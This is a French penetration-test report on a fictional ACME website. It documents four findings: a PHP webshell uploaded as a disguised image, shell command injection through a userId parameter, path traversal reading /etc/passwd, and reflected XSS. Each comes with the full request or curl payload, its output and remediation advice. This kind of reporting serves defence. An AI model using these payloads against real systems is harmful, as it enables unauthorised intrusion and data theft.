acylia

RAPPORT DE TEST D'INTRUSION
SITE WEB ACME

CLIENT
ACME

DATE
2023-01-06

NON PROTÉGÉ

acylia

SUMMARY

1. Introduction

Ce document présente les résultats d'un test d'intrusion du site web ACME. Cette prestation avait pour but d'identifier les vulnérabilités de sécurité qui pourraient avoir un impact négatif sur le site web, les données qu'il traite et, par conséquent, sur l'entreprise.

Le prestataire a simulé des attaques de manière méthodique afin de tester la résilience du site web face à des scénarios d'attaque réels.

2. Portée du test

La portée du test d'intrusion était limitée au site web ACME, son API et le serveur hébergeant la solution.

L'évaluation a porté sur les points suivants:

HOSTS
`www.acme.tld`
`blog.acme.tld`

3. Synthèse de la mission

La mission a été réalisée dans une période de 5 jours ouvrés. Le test d'intrusion a commencé le 2 janvier 2023 et s'est terminé le 6 janvier 2023 avec la remise de la version finale de ce rapport.

Toutes les activités de test se sont déroulées dans l'environnement mis à disposition. Le site web a été analysé à l'aide d'outils d'analyse automatisés mais a principalement fait l'objet de tests manuels.

Les attaques ont été menées depuis Internet avec l'adresse IP `31.33.7.1`.

Le prestataire n'à pas rencontré de problèmes empêchant le bon déroulement de la prestation.

4. Résumé

ACME a fait appel à Ianis BERNARD pour un test d'intrusion de leur site web. Cette plateforme permet partager des documents entre employés.

Le test d'intrusion de la plateforme avait pour principal objectif d'identifier et d'exploiter un maximum de vulnérabilités afin d'évaluer son niveau de sécurité face à des attaquants compétents et déterminés. Ainsi, la méthodologie employée avait visait à énumérer tous les cas de divulgation d'informations sensibles ainsi que les cas d'accès non autorisé qui permettrait à un attaquant de compromettre l'application ou ses utilisateurs.

4.1 Surface vulnérable

Le site web présentait un niveau de sécurité jugé insuffisant compte tenu du nombre de vulnérabilités découvertes, de leur sévérité et du risque que ces problèmes pourraient représenter pour le système et les données qu'il traite.

4.2 Table des Vulnérabilités

Le tableau suivant résume les vulnérabilités trouvées dans l'application.

VULNERABILITY	SEVERITY
Unrestricted Upload of File with Dangerous Type	CRITICAL
OS Command Injection	HIGH
Arbitrary file read via Path Traversal	MEDIUM
Reflected XSS	MEDIUM

5. Vulnérabilités

5.1 Upload non restreint de fichiers dangereux

SEVERITY: CRITICAL	**CWE ID:** CWE-434	**CVSS SCORE:** 9.9

Description

Le produit permet à l'attaquant de téléverser des fichiers dangereux qui sont susceptibles d'être exécutés dans l'environnement du produit.

L'exécution de code arbitraire est possible si un fichier transféré est interprété et exécuté en tant que code par le destinataire. Cela est le cas pour les fichiers `.php` transférés vers des serveurs web, car ces types de fichiers sont traités comme exécutables.

Impacte

Un attaquant pourrait exécuter des commandes non autorisées, qui pourraient ensuite être utilisées pour lire et modifier des données ou perturber le bon fonctionnement du système.

Reproduction

Un utilisateur authentifié en tant qu'utilisateur peut uploader un fichier avec l'extension `.php` en le faisant passer pour un fichier `.png`. Cette technique permet de contourner le mécanisme de sécurité censé empêcher l'upload de fichiers `.php`.

Dans la requête HTTP ci-dessous, un *webshell* est transféré.

```
POST /upload.php HTTP/1.1
Host: www.acme.tld
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data;
boundary=eb36f8c3-805c-47dd-99e8-6d2096f0a6c0
Content-Length: 203

--eb36f8c3-805c-47dd-99e8-6d2096f0a6c0
Content-Disposition: form-data; name="file"; filename="webshell.png.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
--eb36f8c3-805c-47dd-99e8-6d2096f0a6c0--
```

Nous pouvons confirmer le fonctionnement de notre *webshell* en exécutant la commande `id`.

```
curl 'https://www.acme.tld/uploads/e88ad50dff40f9f6.png.php?c=id'
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Recommandations

- Définir un ensemble très limité d'extensions autorisées et ne générer que des noms de fichiers se terminant par ces extensions.
- Stocker les fichiers téléchargés en dehors de la racine du document web.

5.2 Injection de commandes shell

SEVERITY: HIGH	**CWE ID:** CWE-78	**CVSS SCORE:** 8.0

Description

Le produit construit une commande shell en utilisant des données provenant d'une source externe, mais il ne neutralise pas ou neutralise incorrectement les éléments spéciaux qui pourraient modifier la commande.

Cela pourrait permettre à un attaquant d'exécuter des commandes dangereuses directement sur le système d'exploitation.

Impacte

Un attaquant pourrait exécuter des commandes non autorisées, qui pourraient ensuite être utilisées pour lire et modifier des données ou perturber le bon fonctionnement du système.

Reproduction

Un utilisateur authentifié en tant qu'administrateur peut exécuter des commandes arbitraires en injectant un point-virgule dans le paramètre `userId`.

Dans la requête HTTP ci-dessous, la commande shell `;id>demo.txt` est injectée afin de produire un nouveau fichier contenant la sortie d'execution du binaire `id`.

```
POST /admin/fetch.php HTTP/1.1
Host: www.acme.tld
User-Agent: Mozilla/5.0
Cookie: PHPSESSID=0b8203894792731f909e7af88eddc116a3364fef
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

userId=123;id>demo.txt
```

Nous pouvons confirmer l'exécution de notre code en récupérant le contenu du fichier `demo.txt`.

```
curl 'https://www.acme.tld/admin/demo.txt'
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Recommandations

- Considérer que toutes les entrées d'un programme puissent être malveillantes.
- Utiliser des appels de bibliothèque plutôt que des programmes externes pour aboutir à la fonctionnalité souhaitée.
- Placer correctement les arguments entre guillemets et échapper tous les caractères spéciaux qu'ils contiennent.

5.3 Lecture de fichiers arbitraires via Path Traversal

SEVERITY: MEDIUM	CWE ID: CWE-22	CVSS SCORE: 5.3

Description

Le produit utilise des données externes pour construire un nom de chemin destiné à identifier un fichier ou un répertoire situé sous un répertoire parent restreint, mais le produit ne neutralise pas correctement les éléments spéciaux dans le nom de chemin qui peuvent entraîner la résolution du nom de chemin à un emplacement situé en dehors du répertoire restreint.

La plupart des opérations sur les fichiers sont censées se dérouler à l'intérieur d'un répertoire restreint. En utilisant des éléments spéciaux tels que les séparateurs `..` et `/`, un attaquant peut parvenir à sortir de l'emplacement restreint pour accéder à des fichiers ou à des répertoires situés ailleurs sur le système.

Impacte

L'attaquant peut être en mesure de lire le contenu de fichiers du système et d'exposer des données sensibles. Si le fichier ciblé est utilisé pour un mécanisme de sécurité, l'attaquant peut être en mesure de contourner ce mécanisme. Par exemple, en lisant un fichier de mots de passe.

Reproduction

Un utilisateur non authentifié peut lire les fichiers accessibles par l'utilisateur `www-data`.

Dans la commande ci-dessous, le chemin `../../../../etc/passwd` est injectée dans le paramètre `name` de l'URL et permet de lire le fichier `/etc/passwd`.

```
curl 'https://www.acme.tld/img.php?name=../../../../etc/passwd'
```

```
root:x:0:0:root:/root:/usr/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
```

Recommandations

- Considérer que toutes les entrées d'un programme puissent être malveillantes.
- Lors de la validation des noms de fichiers, utiliser des listes d'autorisation strictes qui limitent le jeu de caractères.
- Utiliser une fonction de canonisation de chemin.

5.4 XSS réfléchi

SEVERITY: MEDIUM	CWE ID: CWE-79	CVSS SCORE: 4.2

Description

Le produit ne neutralise pas ou neutralise incorrectement les entrées contrôlables par l'utilisateur avant qu'elles ne soient insérées dans une page web et diffusée à d'autres utilisateurs.

Le serveur lit les données directement à partir de la requête HTTP et les renvoie dans la réponse HTTP. Les exploits XSS par réflexion se produisent lorsqu'un attaquant amène une victime à fournir un contenu dangereux à une application web vulnérable, qui est ensuite renvoyé à la victime et exécuté par le navigateur web.

Impacte

Un attaquant pourrait exécuter des actions usurpant la session de l'utilisateur ciblé.

L'attaque la plus courante réalisée avec le cross-site scripting implique la divulgation d'informations stockées dans les cookies de l'utilisateur.

Reproduction

Un utilisateur non authentifié peut crée un script côté client qui, lorsqu'il est interprété par un navigateur web, exécute une activité.

Dans l'URL ci-dessous, la balise HTML `<img src=1 onerror=alert(1)>` est injectée dans le paramètre `q` et est réfléchi dans la réponse HTTP produisant une alerte JavaScript.

```
https://www.acme.tld/search.php?q=%3Cimg%20src=1%20onerror=alert(1)%3E
```

Recommandations

- Considérer que toutes les entrées d'un programme puissent être malveillantes.
- Utiliser des listes d'autorisation strictes qui limitent le jeu de caractères en fonction de la valeur attendue du paramètre dans la requête.
- Un encodage de sortie et un échappement constituent la solution la plus efficace pour prévenir les XSS.

6. Conclusion

L'objectif d'une évaluation de sécurité est de mieux illustrer les risques encourus par une organisation et de l'aider à comprendre et à valider sa posture en matière de sécurité face aux menaces éventuelles qui menacent ses activités.

L'exercice a montré que le niveau de sécurité du site web pouvait être amélioré car il contient plusieurs failles de sécurité. Ces défaillances pourraient avoir un effet dramatique sur les opérations du client si une partie malveillante les exploitaient.

Des efforts appropriés devraient être entrepris pour remédier aux vulnérabilités décrites dans ce rapport.